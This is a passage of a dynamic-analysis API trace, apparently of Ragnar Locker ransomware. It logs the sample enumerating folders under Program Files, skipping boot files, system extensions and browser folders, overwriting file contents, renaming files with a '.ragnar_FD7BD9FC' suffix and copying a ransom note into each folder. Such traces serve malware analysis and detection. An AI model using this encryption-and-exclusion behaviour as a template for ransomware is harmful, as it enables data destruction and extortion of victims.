nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.198] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.198] GetProcessHeap () returned 0x580000 [0077.198] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.198] CloseHandle (hObject=0x100) returned 1 [0077.198] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" [0077.198] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.ragnar_FD7BD9FC" [0077.198] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.199] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0077.199] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.199] lstrcpyW (in: lpString1=0x1eab72, lpString2="SUMIPNTG.INF" | out: lpString1="SUMIPNTG.INF") returned="SUMIPNTG.INF" [0077.199] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned=".INF" [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="autorun.inf") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="boot.ini") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="bootfont.bin") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="bootsect.bak") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="bootmgr") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="bootmgr.efi") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="bootmgfw.efi") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="desktop.ini") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="iconcache.db") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="ntldr") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="ntuser.dat") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="ntuser.dat.log") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="ntuser.ini") returned 1 [0077.199] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="thumbs.db") returned -1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0077.199] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0077.200] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0077.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0077.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.200] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=555) returned 1 [0077.200] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x222, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.200] GetProcessHeap () returned 0x580000 [0077.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.200] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.201] VirtualAlloc (lpAddress=0x0, dwSize=0x22b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.201] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.201] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.201] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x22b, lpOverlapped=0x0) returned 1 [0077.201] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.201] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22b, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.201] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x22b, lpOverlapped=0x0) returned 1 [0077.201] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.202] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.202] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.202] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.202] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.202] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.202] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.202] GetProcessHeap () returned 0x580000 [0077.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.202] CloseHandle (hObject=0x100) returned 1 [0077.202] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" [0077.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.ragnar_FD7BD9FC" [0077.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.203] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.203] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.203] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0077.203] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned=".PNG" [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0077.203] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0077.204] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0077.204] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0077.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0077.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.204] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=44302) returned 1 [0077.204] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xad05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.204] GetProcessHeap () returned 0x580000 [0077.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.204] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.206] VirtualAlloc (lpAddress=0x0, dwSize=0xad0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.206] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.206] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.206] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xad0e, lpOverlapped=0x0) returned 1 [0077.208] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.208] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xad0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.208] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xad0e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xad0e, lpOverlapped=0x0) returned 1 [0077.208] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.208] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.209] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xad0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.209] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.209] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.209] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.209] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.209] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.209] GetProcessHeap () returned 0x580000 [0077.209] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.209] CloseHandle (hObject=0x100) returned 1 [0077.209] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" [0077.209] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0077.209] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0077.210] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0077.210] lstrcmpiW (lpString1="THEMES.INF", lpString2=".") returned 1 [0077.210] lstrcmpiW (lpString1="THEMES.INF", lpString2="..") returned 1 [0077.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2=".") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="..") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Windows") returned -1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Windows.old") returned -1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Tor browser") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Internet Explorer") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Google") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Opera") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Opera Software") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Mozilla") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="Mozilla Firefox") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="$Recycle.Bin") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="ProgramData") returned 1 [0077.210] lstrcmpiW (lpString1="WATER", lpString2="All Users") returned 1 [0077.210] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.210] lstrcpyW (in: lpString1=0x1eb638, lpString2="WATER" | out: lpString1="WATER") returned="WATER" [0077.210] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\" [0077.210] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\" [0077.211] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RGNR_FD7BD9FC.txt" [0077.211] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*" [0077.213] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.213] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.213] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80429320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.214] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80429320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 